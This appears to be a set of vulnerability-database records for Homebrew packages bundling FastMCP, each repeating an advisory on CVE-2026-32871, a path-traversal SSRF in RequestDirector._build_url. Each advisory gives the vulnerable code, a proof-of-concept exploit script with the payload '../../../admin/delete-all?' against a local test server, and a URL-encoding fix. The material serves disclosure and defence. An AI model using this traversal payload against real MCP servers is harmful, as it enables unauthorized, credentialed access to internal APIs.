{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "3.2.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "fastmcp",
        "purl": "pkg:brew/fastmcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.12.3"
            },
            {
              "fixed": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/fastmcp@4.1.3",
        "name": "fastmcp",
        "strategy": "registry",
        "subject_version": "4.1.3"
      }
    ]
  },
  "details": "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The \u0027?\u0027 character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider\u0027s authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider\u0027s authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider\u0027s security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
  "id": "BREW-fastmcp-CVE-2026-32871",
  "modified": "2026-10-22T10:06:40Z",
  "published": "2026-08-13T16:46:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/pull/3507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrefectHQ/fastmcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FastMCP OpenAPI Provider has an SSRF \u0026 Path Traversal Vulnerability",
  "upstream": [
    "GHSA-vv7q-7jx5-f767",
    "CVE-2026-32871",
    "PYSEC-2026-338"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "fastmcp",
        "resource_purl": "pkg:pypi/fastmcp@3.2.4",
        "upstream_fixed_in": "3.2.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "kimi-cli",
        "purl": "pkg:brew/kimi-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.40"
            },
            {
              "fixed": "1.44.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/fastmcp@3.2.4",
        "name": "fastmcp",
        "resource": "fastmcp",
        "strategy": "registry",
        "subject_version": "3.2.4"
      }
    ]
  },
  "details": "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The \u0027?\u0027 character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider\u0027s authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider\u0027s authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider\u0027s security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
  "id": "BREW-kimi-cli-CVE-2026-32871",
  "modified": "2026-09-17T20:03:16Z",
  "published": "2026-08-13T17:01:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/pull/3507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrefectHQ/fastmcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FastMCP OpenAPI Provider has an SSRF \u0026 Path Traversal Vulnerability",
  "upstream": [
    "GHSA-vv7q-7jx5-f767",
    "CVE-2026-32871",
    "PYSEC-2026-338"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "fastmcp",
        "resource_purl": "pkg:pypi/fastmcp@3.4.8",
        "upstream_fixed_in": "3.2.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "mcp-atlassian",
        "purl": "pkg:brew/mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.11.9"
            },
            {
              "fixed": "0.23.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/fastmcp@3.4.8",
        "name": "fastmcp",
        "resource": "fastmcp",
        "strategy": "registry",
        "subject_version": "3.4.8"
      }
    ]
  },
  "details": "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The \u0027?\u0027 character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider\u0027s authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider\u0027s authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider\u0027s security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
  "id": "BREW-mcp-atlassian-CVE-2026-32871",
  "modified": "2026-10-13T09:30:14Z",
  "published": "2026-08-13T17:13:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/pull/3507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrefectHQ/fastmcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FastMCP OpenAPI Provider has an SSRF \u0026 Path Traversal Vulnerability",
  "upstream": [
    "GHSA-vv7q-7jx5-f767",
    "CVE-2026-32871",
    "PYSEC-2026-338"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "fastmcp",
        "resource_purl": "pkg:pypi/fastmcp@2.13.0",
        "upstream_fixed_in": "3.2.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "mcpm",
        "purl": "pkg:brew/mcpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/fastmcp@2.13.0",
        "name": "fastmcp",
        "resource": "fastmcp",
        "strategy": "registry",
        "subject_version": "2.13.0"
      }
    ]
  },
  "details": "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The \u0027?\u0027 character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider\u0027s authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider\u0027s authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider\u0027s security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
  "id": "BREW-mcpm-CVE-2026-32871",
  "modified": "2026-10-08T00:58:15Z",
  "published": "2026-08-13T17:13:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/pull/3507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrefectHQ/fastmcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FastMCP OpenAPI Provider has an SSRF \u0026 Path Traversal Vulnerability",
  "upstream": [
    "GHSA-vv7q-7jx5-f767",
    "CVE-2026-32871",
    "PYSEC-2026-338"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "fastmcp",
        "resource_purl": "pkg:pypi/fastmcp@2.14.0",
        "upstream_fixed_in": "3.2.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "omnara",
        "purl": "pkg:brew/omnara"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/fastmcp@2.14.0",
        "name": "fastmcp",
        "resource": "fastmcp",
        "strategy": "registry",
        "subject_version": "2.14.0"
      }
    ]
  },
